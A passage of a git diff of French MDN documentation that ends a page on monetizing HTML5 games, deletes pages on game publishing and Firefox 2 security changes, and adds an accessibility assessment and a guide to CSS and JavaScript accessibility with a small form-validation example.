Il existe d'autres façons de gagner de l'argent lors de la création de jeux HTML5, et cela n'a même pas besoin d'être lié au jeu.

- -

Vendre des ressources

- -

Si vous êtes graphiste, vous pouvez vendre les actifs des jeux que vous avez créés ou quelque chose de nouveau exclusivement à cette fin dans des boutiques en ligne comme Envato Market. Ce n'est pas beaucoup, mais si vous êtes un designer connu, cela peut être un flux de revenus passif supplémentaire.

- -

Rédaction d'articles et de tutoriels

- -

Il est possible d'écrire des articles sur vos jeux et même d'être payé pour eux. La promotion et la monétisation de jeux en même temps sont gagnant-gagnant, et si vous n'en abusez pas avec trop de publicité, les lecteurs apprécieront de les lire et d'apprendre une chose ou deux. Si vous vous concentrez d'abord sur le partage des connaissances et que vous utilisez vos jeux comme des exemples, cela devrait être correct. Consultez Tuts+ Game Development ou des sites Web similaires pour des opportunités d'écriture.

- -

Marchandise

- -

Vous pouvez vendre des t-shirts, des autocollants ou d'autres gadgets — certains développeurs gagnent plus d'argent avec la marchandise qu'avec les jeux eux-mêmes, mais cela ne fonctionne que sur des jeux très populaires et reconnaissables comme Angry Birds. Pourtant, cela pourrait être un autre petit flux de revenus passifs. Plus vos revenus sont diversifiés, meilleure est la stabilité de votre entreprise.

- -

Donations

- -

Lorsque tout le reste échoue, vous pouvez essayer de mettre un bouton de don sur la page de votre jeu et demander le soutien de la communauté. Parfois, cela fonctionne, mais seulement si le joueur vous connaît et estime que cela vous aidera dans votre situation. C'est pourquoi il est si important de gérer soigneusement votre communauté. Cela a fonctionné avec la compétition js13kGames — chaque participant a reçu un t-shirt gratuit, et certains ont même rendu quelques dollars pour l'aider à continuer dans les années à venir.

- -

Résumé

- -

Il existe de nombreuses façons de gagner de l'argent - tout ce qui s'applique au monde du jeu AAA "normal" peut être plus ou moins appliqué aux jeux HTML5 occasionnels. Cependant, vous pouvez également vous concentrer sur la vente de licences, la création de marque ou le partage des revenus grâce aux publicités. C'est à vous de décider quel chemin vous allez suivre.

diff --git a/files/fr/jeux/publier_jeux/index.html b/files/fr/jeux/publier_jeux/index.html deleted file mode 100644 index 3f6d0f8a09..0000000000 --- a/files/fr/jeux/publier_jeux/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Publier des jeux -slug: Jeux/Publier_jeux -tags: - - HTML5 - - JavaScript - - Jeux - - Monétisation - - Promotion - - distribution - - publication -translation_of: Games/Publishing_games ---- -
{{GamesSidebar}}
- -

Les jeux en HTML5 ont un avantage certain face à ceux écrits dans un langage natif en terme de publication et de distribution — vous avez en effet la liberté de distribuer, promouvoir et monétiser votre jeu sur Internet au lieu de voir chaque version de votre jeu emprisonnée au sein d'un store propriétaire. En étant sur le web, vous bénéficiez automatiquement d'un jeu multi plate-formes. Cette série d'articles vous présente les options dont vous disposez afin de publier et de distribuer votre jeu et de gagner quelque chose en attendant de faire de votre jeu un incontournable.

- -

Distribuer votre jeu

- -

Vous avez déjà suivi un tutoriel ou deux et vous avez créé un jeu en HTML5 ? Génial ! L'article Distribuer votre jeu vous indique tout ce que vous devez savoir sur les moyens de partager votre toute dernière création — y compris comment vous pouvez l'héberger en ligne, le proposer sur les boutiques en ligne ouvertes, et le soumettre aux stores propriétaires comme Google Play ou Apple Store.

- -

Promouvoir votre jeu

- -

Développer et finaliser un jeu ne suffit pas. Vous devez informer le monde que vous avez réalisé quelque chose d'intéressant, avec lequel les gens auront plaisir à jouer. Il y a de nombreux moyens de Promouvoir votre jeu — beaucoup d'entre-eux sont gratuits — et donc, même si vous avez du mal à gagner votre vie en tant que développeur indépendant avec un budget nul, vous disposez malgré tout de nombreux moyens d'informer les gens de votre nouveau super jeu. Faire la promotion de votre jeu vous aidera beaucoup notamment si vous souhaitez le monétiser par la suite, il est donc important de le faire correctement.

- -

Monétiser votre jeu

- -

Après avoir passé beaucoup de temps à coder, publier et promouvoir votre jeu, vous penserez sans doute à un moyen de rémunérer votre travail. Monétiser son jeu est essentiel à quiconque considère que le travail qu'il a réalisé pour créer son jeu est fait sérieusement par un développeur de jeux indépendant désormais capable de vivre de ses créations. Découvrez quelles sont vos options. La technologie est suffisamment avancée, la question est de savoir quelle approche sera la meilleure pour vous.

diff --git "a/files/fr/la_s\303\251curit\303\251_dans_firefox_2/index.html" "b/files/fr/la_s\303\251curit\303\251_dans_firefox_2/index.html" deleted file mode 100644 index 02a1c4e215..0000000000 --- "a/files/fr/la_s\303\251curit\303\251_dans_firefox_2/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: La sécurité dans Firefox 2 -slug: La_sécurité_dans_Firefox_2 -tags: - - Sécurité -translation_of: Mozilla/Firefox/Releases/2/Security_changes ---- -
{{FirefoxSidebar}}

Cet article aborde les changements concernant la sécurité dans Firefox 2.

- -

Chiffrements faibles désactivés par défaut

- -

Firefox 2 désactive par défaut le support de SSLv2 et les suites de chiffrement faible (celles ayant des longueurs de clefs inférieures à 64 bits) en faveur de SSLv3. Ce choix améliore la sécurité.

- -

Les méthodes privilégiées de chiffrage sont TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA et TLS_RSA_WITH_3DES_EDE_CBC_SHA. Certains serveurs y font référence en tant que SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA et SSL_RSA_WITH_3DES_EDE_CBC_SHA.

- -

Si le support de SSLv2 doit être activé, vous devrez définir avec la valeur true la préférence utilisateur security.ssl2.* dans about:config.

- -

Nouvelles fonctionnalités

- -
    -
  • Firefox 2 supporte la cryptographie sur courbes elliptiques (ECC) dans TLS. Le support est pour l'instant limité aux courbes de 256, 384 et 521 (oui, 521 !) bits.
    • -
  • Firefox 2 supporte l'extension d'identification de nom de serveur TLS pour faciliter les connexions sécurisées sur des serveurs hébergeant plusieurs serveurs virtuels sous la même adresse réseau, suivant la RFC 3546.
    • -
  • Lorsque Firefox 2 effectue une requête OSCP pour valider un certificat d'un serveur Web, il utilise désormais le proxy configuré pour le trafic HTTP normal.
    • -
- -

Détermination du chiffrement disponible

- -

Comme toujours, vous pouvez vérifier le chiffrement supporté — celui qui a été activé ou désactivé — en cherchant « ssl » ou « tls » dans about:config.

- -
 
- -

{{ languages( { "en": "en/Security_in_Firefox_2", "pl": "pl/Bezpiecze\u0144stwo_w_Firefoksie_2", "zh-tw": "zh_tw/Firefox_2_\u7684\u5b89\u5168\u529f\u80fd" } ) }}

diff --git a/files/fr/learn/accessibility/accessibility_troubleshooting/index.html b/files/fr/learn/accessibility/accessibility_troubleshooting/index.html new file mode 100644 index 0000000000..27f7489b2e --- /dev/null +++ b/files/fr/learn/accessibility/accessibility_troubleshooting/index.html @@ -0,0 +1,117 @@ +--- +title: 'Évaluation: dépannage d''accessibilité' +slug: Apprendre/a11y/Accessibility_troubleshooting +tags: + - Accessibilité + - Apprendre + - CSS + - Débutant + - HTML + - JavaScript +translation_of: Learn/Accessibility/Accessibility_troubleshooting +--- +

{{LearnSidebar}}
+ {{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}

+ +

Dans l’évaluation de ce module, nous vous présentons un site simple, qui présente un certain nombre de problèmes d’accessibilité que vous devez diagnostiquer et résoudre.

+ + + + + + + + + + + + +
Conditions préalables:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de la  previous articles in the course.
Objectif:Tester les connaissances de base sur les principes fondamentaux d'accessibilité.
+ +
+
+
+

Point de départ

+ +
 
+
+
+
+ +

Pour lancer cette évaluation, vous devez aller chercher le  ZIP containing the files that comprise the example. Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local

+ +

Le site d'évaluation terminé devrait ressembler à ceci:

+ +

+ +

Vous verrez quelques différences / problèmes avec l'affichage de l'état de départ de l'évaluation - ceci est principalement dû aux différences dans le balisage, ce qui cause des problèmes de style car le CSS n'est pas appliqué correctement. Ne vous inquiétez pas, vous allez résoudre ces problèmes dans les prochaines sections!

+ +

Résumé du projet

+ +

Pour ce projet, vous êtes présenté avec un site naturel fictif affichant un article "factuel" sur les ours. Dans l'état actuel des choses, plusieurs problèmes d'accessibilité se posent. Votre tâche consiste à explorer le site existant et à le réparer au mieux de vos capacités, en répondant aux questions ci-dessous.

+ +
+

Couleur

+
+ +

Le texte est difficile à lire en raison du schéma de couleurs actuel. Pouvez-vous tester le contraste de couleurs actuel (texte / arrière-plan), en rapporter les résultats, puis le corriger en modifiant les couleurs attribuées?

+ +

Semantic HTML

+ +
    +
  1. Le contenu n'est toujours pas très accessible - faites un rapport sur ce qui se passe lorsque vous essayez de naviguer à l'aide d'un lecteur d'écran.
    2. +
  2. Pouvez-vous mettre à jour le texte de l'article pour faciliter la navigation des utilisateurs de lecteurs d'écran?
    3. +
  3. La partie du menu de navigation du site ( <div class="nav"></div>) pourrait être rendue plus accessible en la plaçant dans un élément sémantique HTML5 approprié. Lequel devrait-il être mis à jour? Faites la mise à jour.
    4. +
+ +
+

Note: Vous devrez mettre à jour les sélecteurs de règles CSS qui attribuent aux balises le même style que les balises sémantiques. Une fois que vous avez ajouté des éléments de paragraphe, vous remarquerez que le style est meilleur.

+
+ +

Les images

+ +

Les images sont actuellement inaccessibles aux utilisateurs de lecteur d'écran. Pouvez-vous réparer ceci?

+ +

Le lecteur audio

+ +
    +
  1. Le lecteur  <audio> n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)?
    2. +
  2. Le lecteur  <audio> n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio?
    3. +
+ +

Les formulaires

+ +
    +
  1. L'élément  <input> dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? ?
    2. +
  2. Les deux éléments  <input> du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS.
    3. +
+ +

Le contrôle afficher / masquer les commentaires

+ +

Le bouton de commande afficher / masquer les commentaires n’est pas actuellement accessible au clavier. Pouvez-vous le rendre accessible au clavier, à la fois en termes de focalisation à l'aide de la touche de tabulation et d'activation à l'aide de la touche de retour?

+ +

La table

+ +

Le tableau de données (data table ) n'est pas très accessible actuellement. Il est difficile pour les utilisateurs de lecteur d'écran d'associer des lignes et des colonnes de données. De plus, le tableau ne contient aucun type de résumé permettant de clarifier ce qu'il montre. Pouvez-vous ajouter des fonctionnalités à votre code HTML pour résoudre ce problème?

+ +

Autres considérations?

+ +

Pouvez-vous énumérer deux autres idées d’amélioration qui rendraient le site Web plus accessible?

+ +

Évaluation

+ +

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la discussion thread for this exercise,  ou sur le canal IRC #mdn  sur Mozilla IRC. Essayez d'abord l'exercice - il n'y a rien à gagner à tricher!

+ +

{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/accessibility/css_and_javascript/index.html b/files/fr/learn/accessibility/css_and_javascript/index.html new file mode 100644 index 0000000000..3f59d3a489 --- /dev/null +++ b/files/fr/learn/accessibility/css_and_javascript/index.html @@ -0,0 +1,368 @@ +--- +title: Meilleures pratiques d'accessibilité CSS et JavaScript +slug: Apprendre/a11y/CSS_and_JavaScript +tags: + - Accessibilité + - Apprendre + - Article + - CSS + - Codage des scripts + - Guide + - JavaScript + - contraste + - couleur + - discret +translation_of: Learn/Accessibility/CSS_and_JavaScript +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
+ +

CSS et JavaScript, lorsqu'ils sont utilisés correctement, peuvent également permettre des expériences web accessibles... ou peuvent nuire considérablement à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines des meilleures pratiques CSS et JavaScript à prendre en compte pour garantir que même un contenu complexe soit aussi accessible que possible.

+ + + + + + + + + + + + +
Prérequis :Connaissances informatiques de base, compréhension de base de HTML, CSS et JavaScript, et compréhension de  Qu'est ce que l'accessibilité ?
Objectif :Familiarisez-vous avec l’utilisation appropriée de CSS et de JavaScript dans vos documents Web afin d’optimiser l’accessibilité et de ne pas la compromettre.
+ +

CSS et JavaScript, des technologies accessibles ?

+ +

CSS et JavaScript n’ont pas la même importance immédiate en matière d’accessibilité que le HTML, mais ils peuvent toujours aider ou nuire à l’accessibilité, en fonction de leur utilisation. En d'autres termes, il est important que vous preniez en compte certains conseils de meilleures pratiques pour vous assurer que votre utilisation de CSS et de JavaScript ne ruine pas l'accessibilité de vos documents.

+ +

CSS

+ +

Commençons par regarder le CSS.

+ +

Sémantique correcte et attentes de l'utilisateur

+ +

Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article HTML : une bonne base pour l'accessibilité, vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs  — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs.

+ +

Par exemple, un utilisateur de lecteur d'écran ne peut pas naviguer dans une page via des éléments d'en-tête si le développeur n'a pas utilisé les éléments d'en-tête de manière appropriée pour annoter le contenu. De la même manière, un en-tête perd son utilité visuelle si vous le stylisez de sorte qu'il ne ressemble pas à un en-tête.

+ +

La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte.

+ +

Structure du contenu du texte "standard"

+ +

Titres, paragraphes, listes — le contenu de texte de base de votre page :

+ +
<h1>En-têtes</h1>
+
+<p>paragraphes</p>
+
+<ul>
+  <li>Ma liste</li>
+  <li>a deux éléments.</li>
+</ul>
+ +

Quelques styles CSS typiques pourraient ressembler à ceci :

+ +
h1 {
+  font-size: 5rem;
+}
+
+p, li {
+  line-height: 1.5;
+  font-size: 1.6rem;
+}
+ +

Vous devriez :

+ +
    +
  • Sélectionnez une taille de police, une hauteur de ligne, un espacement interlettres, etc. raisonnables pour que votre texte soit logique, lisible et agréable à lire.
    • +
  • Le style par défaut pour les titres, dans une taille plus grande et en gras les distingue du texte principal.
    • +
  • Vos listes devraient ressembler à des listes.
    • +
  • La couleur du texte doit présenter un contraste suffisant avec la couleur de fond.
    • +
+ +

Voir Fondamentaux du texte HTML et  Introduction au style de texte pour plus d'informations.

+ +

Texte mis en emphase

+ +

On met en avant une portion de texte grâce au balises inline <em> :

+ +
<p> L'eau est <em> très chaude </em>.</p>
+
+<p> Les gouttelettes d’eau accumulées sur les surfaces s’appellent  <strong>condensation</strong>.</p>
+ +

Vous voudrez peut-être ajouter quelques couleurs simples à votre texte mis en importance :

+ +
strong, em {
+  color: #a60000;
+}
+ +

Cependant, vous aurez rarement besoin de styliser des éléments d’emphase de manière significative. Les conventions standard de texte en gras () et en italique (emphase) sont très reconnaissables, et le changement de style peut être source de confusion. Pour mettre des contenus en avant de manière efficace, voir Fondamentaux du texte HTML.

+ +

Les abréviations

+ +

Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée :

+ +
<p> Le contenu web est marqué à l'aide de  <abbr title="Hypertext Markup Language">HTML</abbr>.</p>
+ +

Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments :

+ +
abbr {
+  color: #a60000;
+}
+ +

Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir Abréviations.

+ +
+

Liens

+
+ +

Hyperliens  la façon dont vous accédez à de nouveaux endroits sur le Web :

+ +
<p> Visiter la  <a href="https://www.mozilla.org"> Page d'accueil de Mozilla </a>.</p>
+ +

Un style de lien très simple est présenté ci-dessous :

+ +
a {
+  color: #ff0000;
+}
+
+a:hover, a:visited, a:focus {
+  color: #a60000;
+  text-decoration: none;
+}
+
+a:active {
+  color: #000000;
+  background-color: #a60000;
+}
+ +

Les conventions de style sur les liens sont le soulignement et une couleur différente (par défaut : bleu) dans leur état normal (non visité) de celle utilisée lorsque le lien a déjà été visité (par défaut : violet) et de celle utilisée lorsque le lien est activé (par défaut : rouge). De plus, le pointeur de la souris se change en icône de pointeur lorsque les liens sont déplacés, et le lien reçoit une surbrillance lorsqu'il est ciblé (par exemple, via une tabulation) ou activé. L'image suivante montre la surbrillance dans Firefox (contour en pointillé) et Chrome (contour bleu) :

+ +

+ +

+ +

Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier.

+ +

Éléments form

+ +

Éléments permettant aux utilisateurs de saisir des données sur des sites web :

+ +
<div>
+  <label for="name">Entrez votre nom</label>
+  <input type="text" id="name" name="name">
+</div>
+ +

Vous pouvez voir de bons exemples de CSS dans notre exemple form-css.html et (en direct).

+ +

La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée.

+ +

Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe.

+ +

Tableaux

+ +

Tableaux pour la présentation des données tabulées.

+ +

Vous pouvez voir un bon exemple simple de  table-css.html et (en direct).

+ +

En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur :nth-child(n) pour faciliter la lecture.

+ +

Couleur et contraste de couleur

+ +

Lorsque vous choisissez un jeu de couleurs pour votre site web, assurez-vous que la couleur du texte contraste bien avec la couleur de fond. Votre design peut sembler agréable, mais cela n’est pas bon si les personnes malvoyantes, par exemple atteintes de daltonisme, ne peuvent pas lire votre contenu.

+ +

Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le vérificateur de contraste de couleur du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs.

+ +
+

Note : Un taux de contraste élevé permettra également à toute personne utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, tel qu'exposé à la lumière du soleil.

+
+ +

Un autre conseil est de ne pas compter uniquement sur la couleur pour les panneaux / informations, car cela ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Au lieu de marquer les champs de formulaire obligatoires en rouge, par exemple, marquez-les d'un astérisque et en rouge.

+ +

Cacher des choses

+ +

Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre Exemple de boîte d'information à onglets (voir notre code source), nous avons trois panneaux d’informations, mais nous les positionnons les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser Tab et Entrée pour les sélectionner).

+ +

+ +

Les utilisateurs de lecteur d’écran ne s’inquiètent de rien. Ils sont satisfaits du contenu tant que l’ordre des sources est logique et ils peuvent tout comprendre. Le positionnement absolu (tel qu'utilisé dans cet exemple) est généralement considéré comme l'un des meilleurs mécanismes permettant de masquer un contenu pour obtenir un effet visuel, car il n'empêche pas les lecteurs d'écran d'y accéder.

+ +

Par contre, vous ne devriez pas utiliser {{cssxref("visibility")}}:hidden ou {{cssxref("display")}}:none, car ils masquent le contenu des lecteurs d'écran sauf si vous souhaitez que ce contenu leur soit masqué.

+ +
+

Note : Contenu invisible juste pour les utilisateurs de lecteur d'écran contient beaucoup plus de détails utiles concernant ce sujet.

+
+ +

Accepter que les utilisateurs puissent remplacer les styles

+ +

Acceptez que les utilisateurs puissent remplacer vos styles

+ +

Il est possible pour les utilisateurs de remplacer vos styles par leurs propres styles personnalisés, par exemple :

+ + + +

Les utilisateurs peuvent le faire pour diverses raisons. Un utilisateur malvoyant peut vouloir agrandir le texte de tous les sites Web qu’il visite, ou un utilisateur présentant un déficit de couleur grave peut vouloir afficher tous les sites Web dans des couleurs très contrastées, faciles à lire. Quel que soit le besoin, vous devriez être à l'aise avec cela et rendre vos conceptions suffisamment flexibles pour que de tels changements fonctionnent dans votre conception. Par exemple, vous voudrez peut-être vous assurer que votre zone de contenu principale peut gérer un texte plus volumineux (le défilement commencera peut-être pour permettre à tout le monde de le voir), et ne le cachera pas ou ne sera pas complètement interrompu.

+ +

JavaScript

+ +

JavaScript peut également compromettre l’accessibilité, selon son utilisation.

+ +

Le JavaScript moderne est un langage puissant, et nous pouvons faire beaucoup de choses avec cela de nos jours, du contenu simple et des mises à jour d'interface utilisateur aux jeux 2D et 3D à part entière. Aucune règle ne stipule que tout le contenu doit être accessible à 100% à toutes les personnes. Vous devez simplement faire ce que vous pouvez et rendre vos applications aussi accessibles que possible.

+ +

Le contenu et les fonctionnalités simples sont facilement accessibles – texte, images, tableaux, formulaires et bouton-poussoir activant des fonctions. Comme nous l'avons vu dans notre article HTML : une bonne base pour l'accessibilité,  les principales considérations sont les suivantes :

+ +
    +
  • Bonne sémantique : Utiliser le bon élément pour le bon travail. Par exemple, assurez-vous que vous utilisez les en-têtes et les paragraphes, et les éléments {{htmlelement("button")}} et {{htmlelement("a")}}.
    • +
  • S'assurer que le contenu est disponible sous forme de texte, soit directement sous forme de contenu textuel, soit par un libellé pour des éléments <form> soit par textes par défaut pour les images.
    • +
+ +

Nous avons également examiné un exemple d'utilisation de JavaScript pour intégrer des fonctionnalités là où il manque – voir Remettre l'accessibilité au clavier. Ce n'est pas l'idéal – vous devez utiliser le bon élément pour le bon travail – mais cela montre que c'est possible dans des situations où, pour une raison quelconque, vous ne pouvez pas contrôler le balisage utilisé. Un autre moyen d'améliorer l'accessibilité pour les widgets non sémantiques reposant sur JavaScript consiste à utiliser WAI-ARIA pour fournir une sémantique supplémentaire aux utilisateurs de lecteurs d'écran. Le prochain article couvrira également cela en détail.

+ +

Les fonctionnalités complexes telles que les jeux 3D ne sont pas si faciles à rendre accessibles – un jeu 3D complexe créé à l'aide de L'API WebGL : graphismes 2D et 3D pour le web sera rendu sur un élément {{htmlelement("canvas")}}, qui n'a pour l'instant aucune possibilité de fournir textes alternatifs ou autres informations à utiliser par les utilisateurs malvoyants. On peut soutenir qu’un tel jeu ne compte pas vraiment ce groupe de personnes dans son public cible principal, et il serait déraisonnable de s’attendre à ce que vous le rendiez accessible à 100% aux aveugles, quelle que soit l’implantation des contrôles clavier faite pour qu'il soit utilisable par les utilisateurs sans souris. De plus, rendez le jeu de couleurs suffisamment contrasté pour pouvoir rendre le jeu vidéo utilisable par ceux qui ont des déficiences de la perception des couleurs.

+ +

Le problème avec trop de JavaScript

+ +

Le problème survient souvent lorsque les utilisateurs se fient trop à JavaScript. Parfois, vous voyez un site Web où tout a été fait avec JavaScript – le code HTML a été généré par JavaScript, le CSS a été généré par JavaScript, etc. Ceci présente toutes sortes de problèmes d'accessibilité et d'autres choses qui y sont associées, donc ce n'est pas conseillé.

+ +

En plus d'utiliser le bon élément pour le bon travail, vous devez également vous assurer que vous utilisez la bonne technologie pour le bon travail ! Réfléchissez bien pour savoir si vous avez besoin de cette boîte d’informations 3D brillante reposant sur JavaScript, ou si un texte ordinaire avec du CSS conviendrait. Réfléchissez bien pour savoir si vous avez besoin d'un widget de formulaire non standard complexe ou d'une saisie de texte. Et ne générez pas tout votre contenu HTML en utilisant JavaScript si possible.

+ +

Le garder discret

+ +

Lors de la création de votre contenu, gardez à l'esprit l'idée d'un JavaScript discret, en retrait. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur.

+ +

De bons exemples d'utilisation de JavaScript discret incluent :

+ +
    +
  • Fournir une validation de formulaire côté client, qui alerte les utilisateurs en cas de problèmes liés aux entrées de formulaire, sans avoir à attendre que le serveur vérifie les données. S'il n'est pas disponible, le formulaire fonctionnera toujours, mais la validation risque d'être plus lente.
    • +
  • Fournir des commandes personnalisées pour les  <video> HTML5 accessibles aux utilisateurs uniquement au clavier, ainsi qu'un lien direct vers la vidéo pouvant être utilisé pour y accéder si JavaScript n'est pas disponible (les commandes du navigateur <video> par défaut ne sont pas des touches accessibles dans la plupart des navigateurs).
    • +
+ +

Par exemple, nous avons écrit un exemple de validation de formulaire côté client rapide — voir form-validation.html (voir aussi la démonstration en direct). Ici, vous verrez un formulaire simple. Lorsque vous essayez de soumettre le formulaire avec un ou les deux champs vides, l'envoi échoue et un message d'erreur s'affiche pour vous indiquer ce qui ne va pas.

+ +

Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité.

+ +
+

Note : La validation côté serveur n'a pas été implémentée dans cette simple démonstration.

+
+ +

Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure :

+ +
<label for="name"> Entrez votre nom :</label>
+<input type="text" name="name" id="name">
+ +

Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) :

+ +
form.onsubmit = validate;
+
+function validate(e) {
+  errorList.innerHTML = '';
+  for(var i = 0; i < formItems.length; i++) {
+    var testItem = formItems[i];
+    if(testItem.input.value === '') {
+      errorField.style.left = '360px';
+      createLink(testItem);
+    }
+  }
+
+  if(errorList.innerHTML !== '') {
+    e.preventDefault();
+  }
+}
+ +
+

Note :  Dans cet exemple, nous masquons et montrons la boîte de message d'erreur en utilisant le positionnement absolu plutôt qu'une autre méthode telle que la visibilité ou l'affichage, car cela n'empêche pas le lecteur d'écran de pouvoir lire le contenu de celui-ci.

+
+ +

La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (if(testItem.input.value === '')).

+ +

Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs  (if(errorList.innerHTML !== ''))  nous arrêtons la soumission du formulaire ( à l'aide de event.preventDefault()), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation.

+ +

Pour chaque entrée pour laquelle aucune valeur n'a été renseignée lors de la soumission du formulaire, nous créons un élément de liste avec un lien et l'insérons dans la liste errorList.

+ +
function createLink(testItem) {
+  var listItem = document.createElement('li');
+  var anchor = document.createElement('a');
+  anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.';
+  anchor.href = '#' + testItem.input.name;
+  anchor.onclick = function() {
+    testItem.input.focus();
+  };
+  listItem.appendChild(anchor);
+  errorList.appendChild(listItem);
+}
+ +

Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie.

+ +
+

Note :  La partie focus()  de cet exemple est un peu délicate. Chrome et Edge (et les versions plus récentes d'IE) focalisent l'élément lorsque l'utilisateur clique sur le lien, sans avoir besoin du bloc onclick/focus().  Safari ne mettra en évidence que l'élément de formulaire avec le lien, il a donc besoin du bloc onclick/focus()  pour le focaliser. Firefox ne focalise pas les entrées correctement dans ce contexte, les utilisateurs de Firefox ne peuvent donc pas en profiter pour le moment (bien que tout le reste fonctionne bien). Le problème de Firefox devrait bientôt être résolu - des efforts sont en cours pour donner la parité des comportements de Firefox aux autres navigateurs (voir {{bug(277178)}}).

+
+ +

